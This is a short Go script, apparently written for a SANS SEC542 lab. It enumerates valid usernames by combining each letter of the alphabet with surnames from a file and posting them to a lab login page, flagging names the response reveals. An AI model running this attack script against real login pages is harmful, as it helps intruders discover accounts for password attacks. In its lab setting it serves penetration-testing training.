(A bad) Rewrite of @adriendb's Python user_enum script in Go

package main

// (A bad) Rewrite of @adriendb's Python user_enum script in Golang. From SANS SEC542

import (
    "net/http"
    "fmt"
    "log"
    "io/ioutil"
    "net/url"
    "os"
    "bufio"
    "strings"
)

func main() {
    argsWithoutProg := os.Args[1:]
    filename := (argsWithoutProg[0])

    file, err := os.Open(filename)
    if err != nil {
        log.Fatal(err)
    }
    defer file.Close()

    str := "abcdefghijklmnopqrstuvwxyz"
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        lastname := scanner.Text()

        for _, r := range str {
            initial := string(r)
            username := initial + lastname

            resp, err := http.PostForm("http://www.sec542.org/userenum/login.php",
                url.Values{"user": {username}, "pass": {"bar"}})

            if err != nil {
                log.Fatal(err)
            }

            defer resp.Body.Close()

            body, _ := ioutil.ReadAll(resp.Body)
            if strings.Contains(string(body), username) {
                fmt.Println ("Hit on: " + username)
            }
        }
    }
}